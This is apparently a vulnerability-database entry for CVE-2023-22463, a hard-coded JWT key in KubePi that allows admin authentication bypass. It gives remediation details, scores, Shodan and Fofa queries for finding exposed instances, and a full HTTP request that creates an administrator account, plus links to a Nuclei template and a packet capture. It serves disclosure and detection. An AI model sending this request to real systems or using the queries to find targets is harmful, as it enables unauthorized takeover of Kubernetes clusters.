| Title | KubePi JwtSigKey - Admin Authentication Bypass |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster. |
| Remediation | The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91521 |
| CVE ID | CVE-2023-22463 |
| CWE ID | CWE-798 |
| Shodan Query | html:"kubepi"http.html:"kubepi" |
| Fofa Query | kubepibody="kubepi" |
| Tags | cve cve2023 kubepi k8s auth-bypass fit2cloud vkev vuln |
KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. session.go, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
POST /kubepi/api/v1/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 223
Authorization: Bearer 5ulS3uZjWfC2jdYJTdRo
Accept-Encoding: gzip
{
"authenticate": {
"password": "ZxFsHLsa"
},
"email": "VwUgeL@TDtFb.com",
"isAdmin": true,
"mfa": {
"enable": false
},
"name": "Ga5TcH",
"nickName": "6SMA",
"roles": [
]
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22463.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22463.pcap
N/AN/A